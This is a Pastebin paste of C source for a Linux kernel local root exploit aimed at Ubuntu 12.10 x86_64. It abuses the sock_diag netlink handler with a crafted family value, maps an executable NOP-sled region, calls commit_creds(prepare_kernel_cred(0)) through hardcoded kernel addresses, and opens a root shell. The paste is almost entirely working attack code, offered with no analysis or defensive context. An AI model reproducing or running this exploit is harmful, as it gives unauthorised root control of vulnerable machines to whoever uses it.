yadav2152003s

Ubuntu chacha 12.10 local root exploit

Feb 25th, 2019
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. By:- Shubham Yadav ( Cyber Security Expert )
  2.  
  3. #include <unistd.h>
  4. #include <sys/socket.h>
  5. #include <linux/netlink.h>
  6. #include <netinet/tcp.h>
  7. #include <errno.h>
  8. #include <linux/if.h>
  9. #include <linux/filter.h>
  10. #include <string.h>
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <linux/sock_diag.h>
  14. #include <linux/inet_diag.h>
  15. #include <linux/unix_diag.h>
  16. #include <sys/mman.h>
  17.  
  18. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  19. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  20. _commit_creds commit_creds;
  21. _prepare_kernel_cred prepare_kernel_cred;
  22. unsigned long sock_diag_handlers, nl_table;
  23.  
  24. int __attribute__((regparm(3)))
  25. x()
  26. {
  27. commit_creds(prepare_kernel_cred(0));
  28. return -1;
  29. }
  30.  
  31. char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
  32.  
  33. int main() {
  34. int fd;
  35. unsigned long mmap_start, mmap_size = 0x10000;
  36. unsigned family;
  37. struct {
  38. struct nlmsghdr nlh;
  39. struct unix_diag_req r;
  40. } req;
  41. char buf[8192];
  42.  
  43. if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
  44. printf("Can't create sock diag socket\n");
  45. return -1;
  46. }
  47.  
  48. memset(&req, 0, sizeof(req));
  49. req.nlh.nlmsg_len = sizeof(req);
  50. req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  51. req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
  52. req.nlh.nlmsg_seq = 123456;
  53.  
  54. req.r.udiag_states = -1;
  55. req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
  56.  
  57. /* Ubuntu 12.10 x86_64 */
  58. req.r.sdiag_family = 0x37;
  59. commit_creds = (_commit_creds) 0xffffffff8107d180;
  60. prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
  61. mmap_start = 0x1a000;
  62.  
  63. if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
  64. MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
  65.  
  66. printf("mmap fault\n");
  67. exit(1);
  68. }
  69.  
  70. *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
  71. memset((void *)mmap_start, 0x90, mmap_size);
  72. memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));
  73.  
  74. send(fd, &req, sizeof(req), 0);
  75. if(!getuid())
  76. system("/bin/sh");
  77. }
Add Comment
Please, Sign In to add comment